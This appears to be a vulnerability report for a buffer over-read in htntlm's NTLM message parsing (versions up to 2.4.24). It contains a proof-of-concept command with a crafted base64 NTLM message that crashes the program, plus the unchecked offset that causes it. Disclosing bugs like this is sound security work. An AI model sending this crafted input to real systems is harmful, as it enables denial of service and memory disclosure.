#6 Buffer-Over-Read in /src/htntlm.c (version<=2.4.24)

[Kirin]

There is an buffer-over-read when program read ntlm message(type 1,2,3) (version<=2.4.24)

POC:

 ./htntlm -r  TlRMTVNTUAABAAAAAAAAAAUABQD///+PBQAFACUAAABLSVJJTktJUklO

Output:

Segmentation Fault

Analyze

It will crash at:

hook->domain = apr_pstrndup(hook->pool, (char *)&msg[offset], len);

When program read ntlm message(type 1,2,3),offset is defined by message without check：

 offset = ntlm_ntoh32(*((uint32_t *)&msg[20]));

So attacker can control offset to read any data at any address.
It will lead to Denial of Service && Information Disclosure.